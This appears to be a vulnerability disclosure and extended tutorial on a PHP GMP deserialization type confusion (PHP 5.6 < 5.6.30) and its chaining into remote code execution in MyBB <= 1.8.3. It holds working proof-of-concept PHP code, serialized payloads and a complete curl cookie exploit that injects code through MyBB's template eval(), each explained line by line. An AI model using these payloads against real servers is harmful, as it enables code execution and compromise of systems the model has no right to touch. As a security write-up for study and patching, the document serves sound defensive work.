GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]
A type confusion in PHP's GMP deserialization allows an attacker to overwrite properties of any existing object by converting the GMP object to an integer that references an object handle. In MyBB <= 1.8.3, this can be used to inject PHP code into the template cache and achieve remote code execution.
- Fixed in 4 months
- Paid in 4 months
- Disclosed after 2.7 years
#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]
Taoguang Chen <@chtg57> - Write Date: 2015.4.28
A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.
Affected Versions
Affected is PHP 5.6 < 5.6.30
Credits
This vulnerability was disclosed by Taoguang Chen.
Description
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
zend_object_handlers.c
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
It has been demonstrated many times before that __wakeup() or other magic methods leads to ZVAL was changed from the memory in during deserializtion. So an attacker can change **object into an integer-type or bool-type ZVAL, then the attacker will be able to access any objects that stored in objects store via Z_OBJ_P. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.
The following codes will prove this vulnerability:
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
?>
Expected result:
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
Actual result:
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
}
i) How to exploited this bug in real world? On php 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type ZVAL via GMP's gmp_cast_object():
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
mpz_ptr gmpnum;
switch (type) {
...
case IS_LONG:
gmpnum = GET_GMP_FROM_ZVAL(readobj);
INIT_PZVAL(writeobj);
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
return SUCCESS;
The following codes will prove this exploite way:
<?php
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
?>
Of course, a crafted __wakeup() can also be exploited, ex:
<?php
function __wakeup()
{
$this->ryat = (int) $this->ryat;
}
?>
ii) Can be exploited this bug in real app?
On MyBB <= 1.8.3:
index.php
if(isset($mybb->cookies['mybb']['forumread']))
{
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
}
MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update $mybb or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)
P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.
Proof of Concept Exploit
MyBB <= 1.8.3 RCE vulnerability
index.php
eval('$index = "'.$templates->get('index').'";');
MyBB always use eval() function in during template parsing.
inc/class_templates.php
class templates
{
...
public $cache = array();
...
function get($title, $eslashes=1, $htmlcomments=1)
{
global $db, $theme, $mybb;
...
$template = $this->cache[$title];
...
return $template;
}
If we can control the $cache, we will be albe to inject php code via eval() function.
inc/init.php
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
case "sqlite":
$db = new DB_SQLite;
break;
case "pgsql":
$db = new DB_PgSQL;
break;
case "mysqli":
$db = new DB_MySQLi;
break;
default:
$db = new DB_MySQL;
}
...
$templates = new templates;
The $templates object was instantiated in init.php, and four objects was instantiated in this before. This means the $templates object's handle was set to 5 and stored into objects store, so we can access the $templates object and update the $cache property via convert GMP object into integer-type ZVAL that value is 5 in during GMP deserialization. This also means we can inject php code via eval() function.
When MyBB <= 1.8.3 and PHP5.6 <= 5.6.11, remote code execution by just using curl on the command line:
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
Context
This write-up covers a type-confusion vulnerability in PHP's GMP deserialisation, disclosed by Taoguang Chen (write date 2015.4.28), and its use to build a remote code execution chain against MyBB. The affected PHP versions are 5.6 < 5.6.30. The MyBB side of the chain applies to MyBB <= 1.8.3.
The feature at the centre of the bug is PHP's unserialize() support for the GMP extension. GMP objects can be serialised with the C: form (a custom object serializer), and on the way back in, gmp_unserialize() reads the serialised properties and copies them into the object with zend_hash_copy(). Normally that is harmless: the properties land on the GMP object that is being created. The problem is what happens when a magic method such as __wakeup() runs during that deserialisation and changes the type of the value the engine is working with.
On the MyBB side, the feature is the forum-read tracking cookie. MyBB stores which forums a visitor has read in a cookie and deserializes it on each request.
Setup
The report does not describe any account, role or tooling setup. The preconditions it states are version-based:
- PHP 5.6 < 5.6.30 for the GMP type confusion itself.
- PHP 5.6 <= 5.6.11 for the
DateIntervalroute used in the MyBB exploit. - MyBB <= 1.8.3 for the application-level exploitation.
The proof of concept for MyBB is run with curl from the command line against a local MyBB installation.
Finding it
The researcher starts from a known pattern: __wakeup() and other magic methods can change a ZVAL in memory during deserialisation. The GMP deserialisation path is interesting because it takes the array of properties it has just unserialized and copies it into the target object's property table:
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
The destination of the copy comes from zend_std_get_properties():
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
Z_OBJ_P reads the object pointer out of the ZVAL. If an attacker can turn that ZVAL into an integer-type or bool-type ZVAL during deserialisation, the pointer is no longer a real object pointer but a value the attacker influences. The engine then treats whatever sits at that address in the objects store as an object, and zend_hash_copy() writes the attacker's properties into it. In the researcher's words, the attacker can update any properties of any object already created and stored in the objects store, which can lead to various problems including security issues.
Exploitation
Step 1: prove the property overwrite with a crafted __wakeup()
The first proof of concept creates a stdClass with two properties, then unserializes a GMP payload whose inner serialised data contains a string, an array of properties, and an object whose __wakeup() reassigns a property:
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
?>
The $inner string holds the GMP object's serialised data: a string value, then an array with the keys aa and bb set to hi, then an obj instance whose ryat property is a reference back into the structure. The $exploit string wraps that in an array element using the C:3:"GMP" custom-object form. The expected result, if the bug did not exist, is the untouched object:
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
The actual result shows the already-created $obj has been modified:
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
}
Both aa and bb on the pre-existing object now hold hi, and a new element 0 was added. The __wakeup() of the inner object ran during deserialisation and changed the ZVAL type, so the copy landed on the wrong object.
Step 2: convert the GMP object to an integer without a custom class
On PHP 5.6 <= 5.6.11, DateInterval's __wakeup() uses convert_to_long() on its properties and reassigns them. That gives the attacker a way to force the GMP object into an integer-type ZVAL through gmp_cast_object():
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
mpz_ptr gmpnum;
switch (type) {
...
case IS_LONG:
gmpnum = GET_GMP_FROM_ZVAL(readobj);
INIT_PZVAL(writeobj);
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
return SUCCESS;
The proof of concept uses a GMP object holding the value 1234 and a DateInterval whose y property references it:
<?php
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
?>
On PHP 5.6 <= 5.6.11, DateInterval's __wakeup() uses convert_to_long() on its properties, which turns the ZVAL into an integer type. The researcher notes that a crafted __wakeup() can also be used, for example:
<?php
function __wakeup()
{
$this->ryat = (int) $this->ryat;
}
?>
Step 3: find a deserialisation sink in MyBB
MyBB <= 1.8.3 deserializes a cookie value in index.php:
if(isset($mybb->cookies['mybb']['forumread']))
{
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
}
Because the cookie is attacker-controlled and passed to unserialize(), an attacker can update $mybb or any other object's properties. The researcher states this can lead to XSS, SQL injection, remote code execution and similar issues, and notes that the vulnerability was reported and fixed in MyBB >= 1.8.4.
Step 4: turn the property overwrite into code execution
MyBB parses templates with eval(). In index.php:
eval('$index = "'.$templates->get('index').'";');
The templates class keeps parsed templates in a $cache array and returns them from get():
class templates
{
...
public $cache = array();
...
function get($title, $eslashes=1, $htmlcomments=1)
{
global $db, $theme, $mybb;
...
$template = $this->cache[$title];
...
return $template;
}
If the attacker controls $cache, PHP code can be injected through the eval(). The object handles matter here. In inc/init.php, several objects are created before $templates:
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
case "sqlite":
$db = new DB_SQLite;
break;
case "pgsql":
$db = new DB_PgSQL;
break;
case "mysqli":
$db = new DB_MySQLi;
break;
default:
$db = new DB_MySQL;
}
...
$templates = new templates;
Four objects are instantiated before $templates, so the $templates object's handle is 5 and it is stored in the objects store. By converting the GMP object into an integer-type ZVAL with the value 5 during GMP deserialisation, the attacker can reach the $templates object and overwrite its $cache property. That is enough to inject PHP code through eval().
Step 5: the full remote code execution request
When MyBB <= 1.8.3 runs on PHP 5.6 <= 5.6.11, the researcher triggers remote code execution with a single curl command:
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://[redacted]/mybb/
The cookie value is the serialised payload, with semicolons URL-encoded as %3b. It is an array whose first element is a C:3:"GMP" object. The GMP data starts with the string 5, which is the object handle to target, followed by an array with a cache key containing an index template set to {${phpinfo()}}. The second element is a DateInterval whose y property references the GMP value, forcing the conversion to an integer. When MyBB unserializes the cookie, the $templates object's $cache['index'] is replaced, and the eval() in index.php executes the injected phpinfo().
Root cause
gmp_unserialize() calls zend_std_get_properties(*object) and then zend_hash_copy() on the result. zend_std_get_properties() derives the object pointer with Z_OBJ_P(object). If a magic method invoked during deserialisation changes the ZVAL from an object type to an integer or bool type, Z_OBJ_P no longer yields the GMP object but a value the attacker controls, and the property copy is applied to whatever object occupies that handle in the objects store. The type check in gmp_unserialize() only validates that the unserialized properties are an array.
Impact
On PHP alone, the bug lets an attacker update any already assigned properties of any already created object, which the researcher describes as leading to various problems and security issues. In MyBB <= 1.8.3, the deserialised forumread cookie lets an attacker update object properties. and the report states this can lead to XSS, SQL injection and remote code execution. The demonstrated chain achieves remote code execution, but only when MyBB <= 1.8.3 runs on PHP 5.6 <= 5.6.11, because the DateInterval conversion route depends on that PHP range. The report does not give a bounty amount or a CVSS score.
Fix
The report states that the MyBB issue was reported and fixed in MyBB >= 1.8.4. For PHP, the affected range is given as PHP 5.6 < 5.6.30.
Variants to test
- Other PHP extensions that implement custom
unserializehandlers and copy properties into an object after magic methods may run. A positive result is a pre-existing object's properties changing afterunserialize(), as in thestdClassproof of concept. - Magic methods that coerce a referenced value to another type, such as
DateInterval's__wakeup()withconvert_to_long(), can substitute for a custom__wakeup(). A positive result is the GMP value being converted to an integer and the property copy landing on the object with that handle. - Applications that call
unserialize()on cookies, as MyBB does withmybb[forumread], are direct sinks. A positive result is a controlled property appearing on an object created earlier in the request. - Applications that pass deserialised data into
eval(), as MyBB does with template parsing, turn a property overwrite into code execution. A positive result is injected PHP running in the response. - Object handle numbers depend on how many objects the application creates before the target. A positive result is finding the handle of the object whose property you want to overwrite and using that integer in the GMP payload.
What happened, in plain words
A security researcher named Taoguang Chen found a bug in PHP, the programming language that runs a huge share of the websites on the internet. The bug lives in a part of PHP called GMP, an extension for doing maths with very large numbers. The bug is a type confusion: PHP gets confused about what kind of value it is holding, and that confusion lets an attacker reach into memory and change things that belong to other parts of the program.
On its own, that is already serious. But the researcher went further and showed that a popular forum program called MyBB (up to and including version 1.8.3) could be attacked through a cookie, and that the attack could end in remote code execution: the attacker's own code running on the server. That is about as bad as it gets, because the attacker no longer just reads or changes data, they can run commands on the machine.
The write date on the report is 2015.4.28. The affected PHP versions are 5.6 < 5.6.30, meaning PHP 5.6 releases older than 5.6.30. The MyBB part applies to MyBB <= 1.8.3.
Before the details, a few ideas that come up again and again below.
- Serialisation is turning a live object in a program into a string of text so it can be stored or sent somewhere, and deserialisation (or unserialization) is turning that string back into a live object. Think of packing a piece of furniture into a flat box and then reassembling it later. If someone hands you a box with a hidden extra screw, the reassembled furniture may not be what you expected.
- A cookie is a small piece of text that a website asks your browser to keep and send back on every request. It is how a site remembers you between page loads, for example which forum threads you have already read.
- A magic method is a function in a PHP class that the language calls automatically at certain moments.
__wakeup()is one of them: PHP calls it on an object right after that object has been rebuilt from a serialised string. It is like a note on the flat-pack box saying "when you finish assembling, do this". - A ZVAL is PHP's internal container for a single value. It holds the value plus a tag saying what type it is: integer, string, object, and so on. If you can change the tag without changing the value, the program will misinterpret what is inside.
- An object store is PHP's internal list of every object currently alive during a request. Each object gets a number, its handle, when it is created. Handle 1 is the first object, handle 2 the second, and so on.
- Remote code execution (RCE) means an attacker can make the server run code of their choosing, usually without any login.
Context
The feature at the centre of the bug is PHP's unserialize() support for the GMP extension. GMP objects can be serialised with the C: form, which is a custom object serializer: instead of the usual O: form that stores an object's properties one by one, the C: form hands the raw inner data to the class's own deserialisation function. For GMP, that function is gmp_unserialize().
On the way back in, gmp_unserialize() reads the serialised properties and copies them into the object with zend_hash_copy(). Normally that is harmless: the properties land on the GMP object that is being created, and nowhere else. The problem is what happens when a magic method such as __wakeup() runs during that deserialisation and changes the type of the value the engine is working with. The copy then goes to the wrong place.
On the MyBB side, the feature is the forum-read tracking cookie. MyBB stores which forums a visitor has read in a cookie and deserializes it on each request. That is a normal convenience feature, but it means the site takes a string from the visitor's browser and turns it back into live PHP objects. If the deserialisation code has a flaw, the visitor controls the input to it.
Setup
The report does not describe any account, role or tooling setup. The preconditions it states are version-based:
- PHP 5.6 < 5.6.30 for the GMP type confusion itself.
- PHP 5.6 <= 5.6.11 for the
DateIntervalroute used in the MyBB exploit. - MyBB <= 1.8.3 for the application-level exploitation.
The proof of concept for MyBB is run with curl from the command line against a local MyBB installation. curl is a small command-line program that sends HTTP requests, the same kind your browser sends, but from a terminal and with full control over things like cookies.
Finding it
The researcher starts from a known pattern: __wakeup() and other magic methods can change a ZVAL in memory during deserialisation. The GMP deserialisation path is interesting because it takes the array of properties it has just unserialized and copies it into the target object's property table. Here is the relevant part of gmp.c:
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
Line by line, in plain words:
static int gmp_unserialize(...)declares the function that PHP calls when it needs to rebuild a GMP object from a serialised string. The...in the middle of the parameter list is the report's shorthand for parameters it does not show.ALLOC_INIT_ZVAL(zv_ptr);creates a fresh, empty ZVAL container calledzv_ptr. This will hold the inner data that was packed inside theC:form.if (!php_var_unserialize(&zv_ptr, ...) || Z_TYPE_P(zv_ptr) != IS_ARRAY)calls the general PHP unserializer on that inner data, and then checks two things: did it succeed, and is the result an array? If either check fails, the code throws an exception saying "Could not unserialize properties" and jumps toexit.if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0)asks: does that array have at least one element? If it is empty, there is nothing to copy.zend_hash_copy(zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), ...)is the important line. It copies every element of the attacker-supplied array into the property table of the object returned byzend_std_get_properties(*object). The first argument is the destination, the second is the source.
The destination of the copy comes from zend_std_get_properties(), shown here from zend_object_handlers.c:
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC)declares a function that takes a ZVAL and returns a hash table, which is PHP's internal key-value structure used to store an object's properties.zend_object *zobj;declares a pointer to an internal object structure.zobj = Z_OBJ_P(object);is the critical step.Z_OBJ_Preads the object pointer out of the ZVAL. It assumes the ZVAL really is of object type and that the value inside is a pointer to an object.if (!zobj->properties) { rebuild_object_properties(zobj); }checks whether the object already has a property table; if not, it builds one.return zobj->properties;hands that property table back to the caller, which isgmp_unserialize().
Now the bug becomes visible. If an attacker can turn that ZVAL into an integer-type or bool-type ZVAL during deserialisation, the pointer is no longer a real object pointer but a value the attacker influences. The engine then treats whatever sits at that address in the objects store as an object, and zend_hash_copy() writes the attacker's properties into it. In the researcher's words, the attacker can update any properties of any object already created and stored in the objects store, which can lead to various problems including security issues.
A useful comparison: imagine a cloakroom where each coat gets a numbered ticket. The program normally reads the ticket, walks to the matching hook and hangs a new item there. The bug lets the attacker write a different number on the ticket, so the program hangs the attacker's item on someone else's hook.
Exploitation
Step 1: prove the property overwrite with a crafted __wakeup()
The first proof of concept creates a stdClass with two properties, then unserializes a GMP payload whose inner serialised data contains a string, an array of properties, and an object whose __wakeup() reassigns a property:
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
?>
Line by line:
<?phpopens a PHP code block.class obj { var $ryat; function __wakeup() { $this->ryat = 1; } }defines a small class calledobjwith one property,ryat, and a__wakeup()method that setsryatto the integer 1. This is the magic method that will run during deserialisation.$obj = new stdClass;creates a plain, empty object of the built-instdClasstype and stores it in$obj. This is the victim: an object that already exists before the payload is processed.$obj->aa = 1; $obj->bb = 2;gives the victim two properties with integer values, so we can see later whether they change.$inner = '...'is the serialised data that will sit inside the GMP object. Reading it from the inside out:s:1:"1"is the string"1";a:3:{...}is an array with three elements;s:2:"aa";s:2:"hi"sets keyaatohi;s:2:"bb";s:2:"hi"sets keybbtohi;i:0;O:3:"obj":1:{s:4:"ryat";R:2;}adds anobjinstance at index 0 whoseryatproperty is a reference (R:2) back to an earlier value in the structure.$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';wraps that inner data in an array with one element, using theC:3:"GMP"custom-object form. The number after the class name is the length of the inner data, which is whystrlen($inner)is used.$x = unserialize($exploit);is the moment of truth: PHP rebuilds the objects from the string.var_dump($obj);prints the victim object so we can see whether it was changed.
The expected result, if the bug did not exist, is the untouched object:
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
That is the victim with its two original properties, both still integers, and nothing else. The actual result shows the already-created $obj has been modified:
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
}
Both aa and bb on the pre-existing object now hold hi, and a new element 0 was added. The __wakeup() of the inner object ran during deserialisation and changed the ZVAL type, so the copy landed on the wrong object. The victim was never passed to unserialize() at all, yet its contents changed.
Step 2: convert the GMP object to an integer without a custom class
The first proof needed a class with a __wakeup() that the attacker controls. In a real application the attacker cannot add classes, so the next step is to find a built-in class that does the same job. On PHP 5.6 <= 5.6.11, DateInterval's __wakeup() uses convert_to_long() on its properties and reassigns them. That gives the attacker a way to force the GMP object into an integer-type ZVAL through gmp_cast_object():
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
mpz_ptr gmpnum;
switch (type) {
...
case IS_LONG:
gmpnum = GET_GMP_FROM_ZVAL(readobj);
INIT_PZVAL(writeobj);
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
return SUCCESS;
static int gmp_cast_object(...)is the function PHP calls when it needs to convert a GMP object into another type, for example when code asks for an integer.mpz_ptr gmpnum;declares a pointer to the underlying big-number value.switch (type) { ... case IS_LONG: ... }picks what to do based on the requested type.IS_LONGis PHP's internal name for an integer.gmpnum = GET_GMP_FROM_ZVAL(readobj);pulls the big number out of the GMP object.INIT_PZVAL(writeobj);prepares the output ZVAL.ZVAL_LONG(writeobj, mpz_get_si(gmpnum));writes the number into the output ZVAL and tags it as an integer. This is the moment the type changes from object to integer.return SUCCESS;tells the caller the conversion worked.
The proof of concept uses a GMP object holding the value 1234 and a DateInterval whose y property references it:
<?php
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
?>
a:2:{...}is an array with two elements.i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}is the first element: a GMP object whose inner data is the string1234followed by an empty array of properties.i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}is the second element: aDateIntervalobject with one property,y, which is a reference (R:2) back to the GMP value.var_dump(unserialize(...))prints the result so the type change can be observed.
On PHP 5.6 <= 5.6.11, DateInterval's __wakeup() uses convert_to_long() on its properties, which turns the ZVAL into an integer type. The researcher notes that a crafted __wakeup() can also be used, for example:
<?php
function __wakeup()
{
$this->ryat = (int) $this->ryat;
}
?>
function __wakeup() { ... }is a magic method that runs after the object is rebuilt.$this->ryat = (int) $this->ryat;casts the property to an integer and stores it back. The cast is what changes the ZVAL type, which is the whole trick.
Step 3: find a deserialisation sink in MyBB
A sink is the place in an application where attacker-controlled data finally reaches a dangerous operation. Here the dangerous operation is unserialize(). MyBB <= 1.8.3 deserializes a cookie value in index.php:
if(isset($mybb->cookies['mybb']['forumread']))
{
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
}
if(isset($mybb->cookies['mybb']['forumread']))checks whether the visitor's browser sent a cookie namedmybb[forumread]. The square brackets are just part of the cookie name; PHP turns them into a nested array when it parses cookies.$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);takes the raw cookie value and passes it tomy_unserialize(), which is MyBB's wrapper around PHP'sunserialize().
Because the cookie is attacker-controlled and passed to unserialize(), an attacker can update $mybb or any other object's properties. The researcher states this can lead to XSS, SQL injection, remote code execution and similar issues, and notes that the vulnerability was reported and fixed in MyBB >= 1.8.4. XSS is cross-site scripting, where an attacker gets their own JavaScript to run in another visitor's browser; SQL injection is where attacker text changes the meaning of a database query.
Step 4: turn the property overwrite into code execution
MyBB parses templates with eval(). eval() is a PHP function that takes a string and runs it as PHP code. It is powerful and dangerous, because anything that reaches it becomes code. In index.php:
eval('$index = "'.$templates->get('index').'";');
$templates->get('index')asks the templates object for the template calledindex.- The returned string is glued between
$index = "and";. eval(...)then runs the resulting string as PHP code. If the template contains PHP code, that code runs.
The templates class keeps parsed templates in a $cache array and returns them from get():
class templates
{
...
public $cache = array();
...
function get($title, $eslashes=1, $htmlcomments=1)
{
global $db, $theme, $mybb;
...
$template = $this->cache[$title];
...
return $template;
}
}
class templates { ... }declares the class that handles templates.public $cache = array();is the property that holds every parsed template, keyed by name.function get($title, $eslashes=1, $htmlcomments=1)is the method that returns a template by name.global $db, $theme, $mybb;pulls in other parts of the application.$template = $this->cache[$title];looks the template up in the cache.return $template;hands it back to the caller, which is theeval()above.
If the attacker controls $cache, PHP code can be injected through the eval(). The object handles matter here. In inc/init.php, several objects are created before $templates:
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
case "sqlite":
$db = new DB_SQLite;
break;
case "pgsql":
$db = new DB_PgSQL;
break;
case "mysqli":
$db = new DB_MySQLi;
break;
default:
$db = new DB_MySQL;
}
...
$templates = new templates;
$error_handler = new errorHandler();creates the first object.$maintimer = new timer();creates the second.$mybb = new MyBB;creates the third.- The
switchblock creates the database object, which is the fourth, whichever database type is configured. $templates = new templates;creates the fifth object.
Four objects are instantiated before $templates, so the $templates object's handle is 5 and it is stored in the objects store. By converting the GMP object into an integer-type ZVAL with the value 5 during GMP deserialisation, the attacker can reach the $templates object and overwrite its $cache property. That is enough to inject PHP code through eval().
Step 5: the full remote code execution request
When MyBB <= 1.8.3 runs on PHP 5.6 <= 5.6.11, the researcher triggers remote code execution with a single curl command:
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://[redacted]/mybb/
curlis the command-line HTTP client.--cookie '...'tells curl to send the given value as a cookie. The cookie name ismybb[forumread], the same one MyBB reads inindex.php.- The cookie value is the serialised payload, with semicolons URL-encoded as
%3b. Semicolons are special in cookie headers, so encoding them keeps the value intact. http://[redacted]/mybb/is the address of the local MyBB installation.[redacted]is the loopback address, meaning the same machine.
Reading the payload from the outside in:
a:1:{i:0;...}is an array with one element at index 0.C:3:"GMP":106:{...}is a GMP object whose inner data is 106 bytes long.s:1:"5"is the string5, which is the object handle to target. This is the number written on the cloakroom ticket.a:2:{...}is the array of properties to copy onto that object.s:5:"cache";a:1:{s:5:"index";s:14:"{${phpinfo()}}"}sets thecacheproperty to an array whoseindexkey holds the string{${phpinfo()}}.i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}is aDateIntervalwhoseyproperty references the GMP value, forcing the conversion to an integer.
When MyBB unserializes the cookie, the $templates object's $cache['index'] is replaced, and the eval() in index.php executes the injected phpinfo(). phpinfo() is a PHP function that prints a page of information about the PHP installation; it is a harmless way to prove code ran, and an attacker would use something more damaging.
Root cause
gmp_unserialize() calls zend_std_get_properties(*object) and then zend_hash_copy() on the result. zend_std_get_properties() derives the object pointer with Z_OBJ_P(object). If a magic method invoked during deserialisation changes the ZVAL from an object type to an integer or bool type, Z_OBJ_P no longer yields the GMP object but a value the attacker controls, and the property copy is applied to whatever object occupies that handle in the objects store. The type check in gmp_unserialize() only validates that the unserialized properties are an array.
Impact
On PHP alone, the bug lets an attacker update any already assigned properties of any already created object, which the researcher describes as leading to various problems and security issues. In MyBB <= 1.8.3, the deserialised forumread cookie lets an attacker update object properties. and the report states this can lead to XSS, SQL injection and remote code execution. The demonstrated chain achieves remote code execution, but only when MyBB <= 1.8.3 runs on PHP 5.6 <= 5.6.11, because the DateInterval conversion route depends on that PHP range.
Fix
The report states that the MyBB issue was reported and fixed in MyBB >= 1.8.4. For PHP, the affected range is given as PHP 5.6 < 5.6.30.
Variants to test
- Other PHP extensions that implement custom
